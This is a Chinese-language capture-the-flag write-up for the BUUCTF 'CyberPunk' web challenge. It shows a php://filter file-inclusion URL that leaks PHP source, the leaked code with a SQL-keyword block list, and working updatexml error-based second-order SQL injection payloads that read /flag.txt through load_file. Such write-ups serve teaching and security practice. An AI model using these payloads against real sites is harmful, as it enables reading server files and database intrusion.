BUUCTF-[CISCN2019 华北赛区 Day1 Web5]CyberPunk

BUUCTF-[CISCN2019 华北赛区 Day1 Web5]CyberPunk

看题


看源码有提示?file=?
文件包含漏洞,可以利用这个漏洞读取源码。

分析

index.php?file=php://filter/read=convert.base64-encode/resource=change.php

挨个读取完后,base64解码后,在change.php发现了一点问题



require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

源码对username和phone用了正则匹配
但address仅用addslashes进行处理,而且插入数据库中的address会在下次查询中插入到新的sql语句中,存在二次注入

$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

updatexml的报错注入来读/flag.txt就行了。
updatexml的报错注入存在长度限制,因此需要用substr进行截取。

操作

输入名字和电话后

1' and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#

将这串代码输入到地址,提交后
来到change.php,再输入一遍已经填过的信息,就可以引发报错
BUUCTF-[CISCN2019 华北赛区 Day1 Web5]CyberPunk_第1张图片
这是前20个字符,读取后面的内容需要改一下代码,改变读取位数

1' and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),21,50)),0x7e),1)#

然后从提交到修改再来一遍,地址替换为上面这串
BUUCTF-[CISCN2019 华北赛区 Day1 Web5]CyberPunk_第2张图片
前后内容拼接起来就是flag啦。

你可能感兴趣的:(CTF,WP,web)